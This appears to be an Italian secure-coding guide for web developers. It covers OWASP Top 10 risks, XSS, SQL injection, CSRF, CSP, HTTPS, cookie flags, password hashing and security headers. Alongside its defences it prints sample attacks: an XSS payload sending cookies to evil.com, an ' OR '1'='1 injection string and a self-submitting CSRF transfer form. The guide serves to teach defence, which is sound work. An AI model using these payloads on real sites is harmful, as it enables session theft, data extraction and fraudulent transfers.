Ogni applicazione web è un potenziale bersaglio. Che si tratti di un piccolo progetto personale o di una piattaforma aziendale, nel momento in cui il tuo codice è online, diventa visibile a scanner automatizzati, bot in cerca di vulnerabilità e malintenzionati. La buona notizia è che gran parte delle falle di sicurezza rientra in categorie ben documentate, tutte prevenibili con un approccio progettuale consapevole. In questa guida analizzeremo le minacce più critiche che ogni sviluppatore deve conoscere e le strategie di difesa concrete da implementare subito.
La OWASP Top 10: La tua tabella di marcia per la sicurezza
L'Open Worldwide Application Security Project (OWASP) pubblica regolarmente l'elenco dei dieci rischi più gravi per la sicurezza delle applicazioni web. L'edizione 2021 evidenzia tematiche fondamentali che ogni professionista deve padroneggiare:
- Broken Access Control — utenti che accedono a risorse o funzioni riservate.
- Cryptographic Failures — algoritmi di crittografia obsoleti o gestione errata dei dati sensibili.
- Injection — attacchi tramite SQL, comandi di sistema o LDAP.
- Insecure Design — lacune architettoniche che non possono essere risolte solo con patch al codice.
- Security Misconfiguration — credenziali di default o funzionalità inutilizzate attive.
- Vulnerable & Outdated Components — l'uso di librerie o framework non aggiornati.
- Identification & Authentication Failures — password deboli o assenza di autenticazione a più fattori (MFA).
- Software & Data Integrity Failures — pipeline CI/CD compromesse o deserializzazione non sicura.
- Security Logging & Monitoring Failures — incapacità di rilevare violazioni in tempo reale.
- Server-Side Request Forgery (SSRF) — manipolazione del server per inviare richieste non autorizzate verso l'interno.
Vediamo nel dettaglio come proteggere il lato front-end e back-end della tua applicazione.
Cross-Site Scripting (XSS)
Il XSS si verifica quando un attaccante inietta script malevoli all'interno di pagine web visualizzate da altri utenti. È una delle vulnerabilità più diffuse e insidiose. Si divide principalmente in tre tipologie:
Reflected XSS
Il codice dannoso proviene direttamente dalla richiesta HTTP. Ad esempio, una pagina di ricerca che riflette il parametro di input senza una corretta sanificazione:
<!-- ❌ VULNERABILE --> <p>Hai cercato: <?= $_GET['q'] ?></p> <!-- L'attaccante crea un URL: --> <!-- /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->
Stored XSS
Lo script malevolo viene memorizzato permanentemente sul server (es. in un database) e distribuito a ogni utente che visualizza la pagina — le sezioni commenti e i profili utente sono i bersagli principali.
DOM-Based XSS
Questa vulnerabilità risiede nel codice JavaScript lato client che manipola dati provenienti da fonti non attendibili (come location.hash) scrivendoli nel DOM senza filtri.
Prevenire il XSS
- Escaping dell'output — codifica sempre i dati forniti dall'utente prima di renderizzarli in HTML. Usa
htmlspecialchars()in PHP o l'auto-escaping dei framework moderni come React, Vue o Twig. - Usa le intestazioni Content Security Policy (approfondite di seguito).
- Evita
innerHTML— preferiscitextContento metodi di rendering sicuri forniti dai framework. - Sanitizzazione di testo ricco — se devi permettere input HTML, usa librerie collaudate come DOMPurify.
- URL-encode dinamico — codifica i parametri quando costruisci link basati sull'input utente.
<!-- ✅ SICURO --> <p>Hai cercato: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>
SQL Injection
La SQL injection avviene quando l'input dell'utente viene concatenato direttamente in una query SQL, permettendo all'attaccante di manipolare la logica dei comandi al database:
# ❌ VULNERABILE — concatenazione di stringhe query = "SELECT * FROM users WHERE username = '" + username + "'" # L'attaccante inserisce: ' OR '1'='1 # Query risultante: # SELECT * FROM users WHERE username = '' OR '1'='1' # → Estrae TUTTI gli utenti
Prevenire la SQL Injection
- Usa query parametrizzate (prepared statements) — è la difesa più efficace in assoluto.
- Usa un ORM — framework come Eloquent, SQLAlchemy o Prisma gestiscono la parametrizzazione automaticamente.
- Valida i tipi di dato — se ti aspetti un ID numerico, convertilo sempre in intero (casting).
- Principio del minimo privilegio — l'utente del database deve avere solo i permessi strettamente necessari.
// ✅ SICURO — prepared statement
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $input]);
$user = $stmt->fetch();
// ✅ SICURO const result = await pool.query( 'SELECT * FROM users WHERE username = $1', [username] );
Cross-Site Request Forgery (CSRF)
Il CSRF inganna il browser di un utente autenticato per eseguire azioni non volute su un sito in cui è loggato. Ad esempio, un attaccante potrebbe nascondere una richiesta POST in un tag immagine o in un modulo automatico su un sito esterno:
<!-- Sul sito dell'attaccante -->
<form action="https://banca.it/trasferimento" method="POST" id="evil">
<input type="hidden" name="destinatario" value="conto_attaccante">
<input type="hidden" name="importo" value="10000">
</form>
<script>document.getElementById('evil').submit();</script>
Prevenire il CSRF
- Usa token anti-CSRF — includi un token univoco e imprevedibile in ogni form e validalo sul server.
- Usa l'attributo
SameSite— impostaSameSite=LaxoSameSite=Strictnei cookie di sessione. - Verifica le intestazioni
OrigineRefererper le richieste che modificano dati. - Richiedi ri-autenticazione per azioni critiche (cambio email, password, pagamenti).
Content Security Policy (CSP)
La CSP è un'intestazione HTTP che indica al browser quali fonti di contenuto sono autorizzate a caricarsi nella pagina. È una barriera formidabile contro il XSS:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
Con questa policy, gli script inline senza un nonce sono bloccati e il caricamento è limitato al proprio dominio e a CDN fidati. Inizia monitorando le violazioni con Content-Security-Policy-Report-Only prima di passare alla modalità di blocco.
HTTPS e Sicurezza del Trasporto
L'HTTPS cifra ogni scambio di dati tra client e server, impedendo intercettazioni e attacchi man-in-the-middle. Oggi l'HTTPS non è un'opzione, ma un requisito fondamentale.
- Ottieni un certificato gratuito tramite Let's Encrypt.
- Reindirizzamento totale — forza il passaggio da HTTP a HTTPS a livello server.
- Abilita HSTS — l'intestazione
Strict-Transport-Securityimpone ai browser di comunicare solo via HTTPS:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Configurazione Sicura dei Cookie
I cookie di sessione contengono le chiavi d'accesso degli utenti. Una configurazione errata espone a furti di sessione:
Set-Cookie: session_id=abc123; HttpOnly; /* Accesso negato via JavaScript */ Secure; /* Inviato solo via HTTPS */ SameSite=Lax; /* Mitiga il CSRF */ Path=/; Max-Age=3600; /* Scadenza in 1 ora */
HttpOnly— impedisce a JavaScript di leggere il cookie, neutralizzando il furto di sessione via XSS.Secure— garantisce che il cookie non venga mai trasmesso su connessioni non criptate.SameSite— controlla l'invio dei cookie in contesti cross-site.
Hashing delle Password
Non archiviare mai password in chiaro. Evita assolutamente MD5 o SHA-1: sono algoritmi troppo veloci, ideali per la forza bruta. Utilizza funzioni di hash pensate per essere lente, salate e adattive.
La scelta consigliata ricade su algoritmi come Argon2id (vincitore della Password Hashing Competition), bcrypt o scrypt.
// ✅ Uso di bcrypt tramite API nativa di PHP
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
// Verifica
if (password_verify($inputPassword, $storedHash)) {
// Password corretta
}
// Verifica necessità di ri-hashing
if (password_needs_rehash($storedHash, PASSWORD_BCRYPT, ['cost' => 12])) {
$newHash = password_hash($inputPassword, PASSWORD_BCRYPT, ['cost' => 12]);
// Aggiorna il database
}
Validazione dell'Input e Codifica dell'Output
Sono i due pilastri dello sviluppo sicuro:
- Validazione dell'Input — verifica sempre che i dati in ingresso corrispondano al tipo, alla lunghezza e al formato previsto. Utilizza liste bianche (allowlist) di valori permessi.
- Codifica dell'Output — adatta i dati al contesto di destinazione: HTML, JavaScript, URL o SQL. La codifica non sostituisce la validazione, ma le completa a vicenda.
Checklist Intestazioni di Sicurezza
Oltre a CSP e HSTS, aggiungi queste intestazioni per rafforzare la difesa del tuo sito:
X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: camera=(), microphone=(), geolocation=() Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin
Puoi testare la configurazione delle tue intestazioni su securityheaders.com.
Conclusione
La sicurezza web non è una funzionalità aggiuntiva, ma un aspetto da integrare in ogni riga di codice. Le minacce descritte sono prevedibili e contrastabili con le giuste tecniche. Utilizza sempre query parametrizzate, codifica l'output, implementa token anti-CSRF e scegli algoritmi di hashing moderni. Proteggi il transito dei dati con HTTPS e aggiungi policy CSP rigorose. La sicurezza inizia dalla consapevolezza: proteggi oggi la tua applicazione per evitare danni domani.
Codifica i tuoi dati in sicurezza
La corretta codifica è fondamentale. Usa i nostri tool gratuiti per convertire parametri in URL-encode o dati in Base64 in totale sicurezza.